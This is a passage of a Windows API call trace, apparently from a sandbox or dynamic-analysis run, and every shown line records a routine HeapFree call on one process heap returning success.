	[0073.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0073.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0073.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0074.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0074.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0074.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0075.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0075.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0075.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0075.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0075.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0075.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0075.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0075.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0075.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0075.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0076.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0076.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0076.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0076.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0076.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0076.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0076.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0077.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0077.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0077.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0077.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0077.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
